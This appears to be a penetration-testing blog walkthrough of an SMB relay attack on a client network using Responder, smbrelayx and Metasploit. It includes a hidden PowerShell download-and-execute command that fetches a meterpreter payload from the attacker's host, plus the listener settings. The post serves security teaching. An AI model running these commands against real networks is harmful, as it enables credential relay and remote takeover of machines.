Similar to the previous post, in this scenario we also have limited physical access on a client’s network. We have been provided with an empty cubicle and only the ability to plug our box into the network. We have been granted no logical access and the goal is to see if take our limited physical access, gain an initial foothold within the network, and ultimately attempt to escalate our privileges throughout the environment.
The tools we’ll be using are:
- Kali Linux
- Responder.py (https://github.com/SpiderLabs/Responder)
- Nbtscan (https://github.com/cobyism/edimax-br-6528n/tree/master/AP/nbtscan-1.5.1a)
- smbrelayx.py (https://github.com/CoreSecurity/impacket)
- Metasploit Framework
With an SMB relay attack, the attacker inserts himself into the middle of the NTLM challenge/response handshake with the intent of taking that authentication and “relaying” it to another host on the same network. The attacker will choose a target on the LAN and then wait for a workstation on the network to authenticate to the attacker machine. When a connection is made, the attacker passes the authentication attempt (the NTLM handshake) to the target/victim. This is the relay. The target generates a challenge and sends it back to the attacker. The attacker sends the challenge back to the original system. This is the response. That system encrypts the hash with the correct password hash and sends it to the attacker. The attacker passes the correctly encrypted response back to his target and successfully authenticates. This process is shown below:
First we need to do some reconnaissance and discover some hosts on our subnet. This can be done with nbtscan or other tools (like fping or nmap). Our target will be 192.168.22.72
Before we attempt to pass NetNTLMv2 hashes around the network, we first need to setup our meterpreter listener and chose an exploit and payload in Metasploit.
In short, we need populate many of the “options”. Most of this should be self explanatory:
- use exploit/multi/script/web_delivery
- set TARGET 2 (this is to indicate the powershell payload)
- set URIPATH /
- set PAYLOAD windows/meterpreter/reverse_tcp
- set LHOST <local kali ip> (you can snag this with ifconfig)
Now that our listener is running and waiting to receive connections, we would normally need our victim(s) to run the following command on their workstation: powershell -nop -exec bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.22.63:8080/’)
If the victim were to do this, we would have a meterpreter shell to play with. Since this is not very likely to happen without some form of social engineering, we want to leverage our other two tools (Responder and SMBRelayX) to handle SMB relaying and execution of our payload on our target/victim machine.
On our Kali box, we run the following command: ./smbrelayx.py -h 192.168.22.72 -c “powershell -nop -exec bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.22.63:8080/’)”
SMBRelayX will help us by establishing a malicious SMB server so that we can relay network authentication attempts from legitimate users to our target – which is specified with the “-h” parameter. We can also see our payload defined above as well.
Secondly, we can now fire up Responder. Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. Link-Local Multicast Name Resolution (LLMNR) and Netbios Name Service (NBT-NS) are two components of nearly all Microsoft Windows networks. LLMNR and NBT-NS allow Windows operating systems on the same subnet help each other identify hosts if/when DNS resolution fails. If DNS resolution fails for a particular host, that computer will typically attempt to query other machines on the LAN for the correct address via LLMNR or NBT-NS.
The errors are normal. SMBRelayX is already listening on ports 445 and 80 – so Responder cannot bind to those ports. For this exercise to be effective, SMBRelayX needs to be started before Responder so that it can utilize 445 and 80.
After some time, we should (hopefully) see some incoming connections in both the Responder window and in our SMBRelayX window. See below:
When we see start to see this type of activity, it should be an indicator that we also have a shell back in Metasploit…which we do: